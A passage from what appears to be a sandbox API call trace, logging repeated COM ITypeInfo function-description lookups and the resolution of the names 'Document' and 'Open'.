ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.461] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.461] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.462] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.462] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.464] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.464] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.465] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.465] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.466] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x127328, pDummy=0xa0 | out: ppFuncDesc=0x127328, pDummy=0xa0) returned 0x0 [0053.466] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.467] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x127358 | out: pVarVal=0x127358*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.467] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.467] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127350, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x127260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.467] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.467] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50870, cb=0x62) returned 0x69a0b90 [0053.467] IUnknown:AddRef (This=0x6856a50) returned 0x4 [0053.467] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.467] IUnknown:Release (This=0x6856a50) returned 0x3 [0053.467] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.467] ITypeInfo:RemoteGetDocumentation (in: This=0x6856a50, memid=5, refPtrFlags=0x1276e0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2) returned 0x0 [0053.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x127730, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0053.467] 